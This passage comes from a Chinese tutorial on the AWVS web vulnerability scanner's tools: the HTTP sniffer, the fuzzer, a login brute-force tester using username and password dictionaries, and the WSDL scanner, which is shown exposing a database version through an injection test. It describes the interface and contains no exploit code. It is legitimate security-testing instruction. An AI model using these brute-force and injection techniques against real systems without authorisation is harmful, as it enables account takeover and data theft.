Page:以浏览的方式显示、HTML Structrus Analysis(HTML的结构分析) Text Only模式: ①:这里不再熬述,讲解SQL盲注功能的时候已经讲解了这一条按钮的作用 ②:HTTP的信息,可以自己粘贴进来,也可以对扫描结果进行发送过来,如下: ③:返回响应信息,这里也不多多说,上面已经详细说明了。  0×10、AWVS的HTTP嗅探工具(HTTP Sniffer) 作用:设置代理拦截浏览器的数据包信息,并且可以将数据包发送到HTTP Edit编辑重放或者其它功能,要想抓取数据包应该将浏览器的代理设置为127.0.0.1:8080(默认),在Application Settings——HTTP Sniffer可以修改监听的端口和接收的请求范围。 ①:Tools——HTTP Sniffer工具位置 ②:Start/Stop:开始或者停止嗅探抓包 Edit Traps:  编辑抓包的规则,例如:拦截ASP、PHP的请求信息、拦截GET请求、拦截POST请求、拦截返回的信息、不拦截images、css、script、显示PHP报错信息、替换user-agent等等…. Enable Traps/Disabled Traps:开启或者关闭规则,如果规则开启,规则中假如设置了例如Trap ASP and PHP request,嗅探过程中会拦截ASP或者PHP的请求信息并且提示用户是否修改再发送还是丢弃这个包(有些类似HTTP Edit)。如下:  ③:对嗅探到的链接进行操作,包括 Edit with HTTP Edit(发送到HTTP Edit进行编辑测试)、Scan to HTTP Fuzzer(发送到HTTP Fuzzer测试)、Start scan form here(从这里开始扫描漏洞)、 Remove disconnected entries(清空所有的嗅探信息) :从左到右分别是清空所有嗅探信息、将嗅探的信息保存为slg格式的文件、导入slg格式的文件、搜索过滤嗅探的信息、当面板嗅探的信息逐渐增多时滚动条自动滚动 ⑤:每个嗅探到的链接的具体的请求或响应信息 0×11、AWVS的HTTP模糊测试工具(HTTP Fuzzer) 作用:漏洞测试工具,用于批量数据自动提交,并测试出正确性的数据。与Burp中的intruder功能一致。 Request: ①:Tools——HTTP Fuzzer 工具位置 ②:Start:开始启动Fuzzer程序测试  Fuzzer Filters:Fuzzer结果筛选,后面三个图标分别为保存为.fzs的文件、打开为.fzs的Fuzzer 文件、到处为XML的Fuzzer结果文件  ③:Request:Fuzzer的HTTP数据,可以是自己抓包粘贴上去,也可以通过扫描发送到此处。如上图的${Gen_2}就代表是攻击位置使用字典 ④:Add Generator:添加一个Fuzzer字典 Insert into Request:插入一个攻击位置,选中需要被攻击的位置后点击此按钮 Remove Generator:移除Fuuzer字典 Add Generator中包含了六种字典 每个字典的配置如下:  ⑥:显示Fuzzer字典的名字、类型、描述信息 ⑦:对Fuzzer字典的设置,参考上方详解 ⑧:Fuzzer字典的简介 Results: ①:Fuzzer的次数统计 ②:Fuzzer的结果显示,包含下面几个字段: #:Fuzzer的次数ID Status code:返回的响应的状态 URL:返回的页面  Generators:提交的参数 Response time:响应花费的时间 Response size:响应内容长度 Word count:单词数量 ③:Request:提交的HTTP请求内容、Response:返回的响应内容、View Page:浏览形式查看、Raw Text:文本模式查看 Fuzzer Filters:是针对Fuzzer结果进行筛选的工具 ①:选择一个筛选过滤器 ②:分为5项,分别为: Rule description:筛选器的名称描述 Rule type:筛选器的类型:Include(包含)、Exclude(不包含)、Log  Apply to:关键字出现的位置,其中有 Response(所有地方)、Response body(出现在body上)、 Response Header(出现在头部)、 Response status code(出现在状态码上) Regular expression:输入正则表达式  ③:更新、或者添加一个筛选器      0×12、AWVS的认证测试工具(Authentication Tester) 认证测试工具,用于基本身份认证、简单的表单认证的破解是从Fuzzer工具中拆分出来的一种。 #1、上图测试的是HTTP的基本验证,比如类似Tomcat的/html/manager 验证 ①:Tools——Authentication Tester 工具位置 ②:Target URL to test:测试目标   Start:开始Fuzzer ③:Authentication method:认证方式分为两种: HTTP:基本认证 Web from based:简单的表单认证  ④:Logon has failed if:认证失败的关键字分为三种: HTTP Status code is :HTTP返回的状态码 Results Conditions:返回的结果关键字条件 Results match regular expresison:正则表达式匹配  ⑤:Username dictionary path:用户名字典 ⑥:Password dictionary path:密码字典 ⑦:正确的结果显示 #2、表单的形式 表单的形式需要将认证方式改成:Web from based,右侧Select选择,AWVS将自动识别攻击目标中的表单,如下图识别出uname、pass两个字段,选中uname,单击左下角的“username”,选择“pass”,单击左下角的”Password”,这样表单就可以对应了,加载字典就可以成功Fuzzer了。 0×13、AWVS的WEB WSDL扫描测试工具(Web Services Scanner、Web Services Editor) 作用:扫描WSDL接口漏洞,并且可以对扫描的漏洞进行漏洞测试 WSDL:Web Services Description Language的缩写,是一个用来描述Web服务和说明如何与Web通信的XML语言。为用户提供详细的接口说明书。WSDL是Web Services的描述语言,是一种接口定义语言,用于描述Web Services的接口信息等。WSDL文档可以分为两部分,顶部由抽象定义组成,而底部由具体描述组成。 Web Services Scanner: ①:Web Services——Weeb Services Scanner ②:扫描的WSDL URL,Profile是侧重扫描的类型,默认是ws_default,Start:开始扫描 ③: 扫描的结果 Web Services Editor: ①:Web Services——Web Services Editor 工具位置 ②:WSDL URL(需要测试的目标URL)、打开图标(打开一个WSDL目标的文件)、Import(从web services scannner导入) ③:Service(选择的Service,默认)、Port(协议,分为ServiceSoap、ServiceSoap12)、Opration(扫描的方法名称)、Send(发送测试)、HTTP Editor(发送到HTTP Editor测试) ④:Editor:编辑模式   WSDL Structure:WSDL的结构信息  WSDL:目标XML格式的源信息 ⑤:Request:方法名称、参数结构显示  SOAP:SOAP协议的源,如上我们针对参数username进行了注入测试 ⑥:Response:返回XML源信息  Structured Data:返回结果的结构。可以看到已经爆出数据库版本了
文章
Web App开发  ·  安全  ·  测试技术  ·  数据库  ·  数据安全/隐私保护
2018-07-10
跳转至:
开发与运维
5179 人关注 | 125216 讨论 | 179482 内容
+ 订阅
  • JavaWeb--快速入门JSP(一)
  • Android应用权限检查
  • 手抖把Python2.7卸载了,导致了自己的yum不可用
查看更多 >
数据库
248683 人关注 | 44341 讨论 | 54152 内容
+ 订阅
  • MySQL之数据运算
  • Laravel/Lumen 使用 redis队列(二)
  • Laravel/Lumen 使用 Redis队列(一)
查看更多 >
人工智能
2593 人关注 | 9266 讨论 | 60651 内容
+ 订阅
  • 破壁人AI百度:科技公司反内卷的典型样本
  • Lettcode精选(Java)--数组篇(三)
  • Android内存性能测试
查看更多 >
安全
1031 人关注 | 23272 讨论 | 50812 内容
+ 订阅
  • 技术人总有想写文章的冲动却无疾而终?4个小Tips帮你快速上手!
  • JavaWeb--快速入门Servlet(一)
  • 破壁人AI百度:科技公司反内卷的典型样本
查看更多 >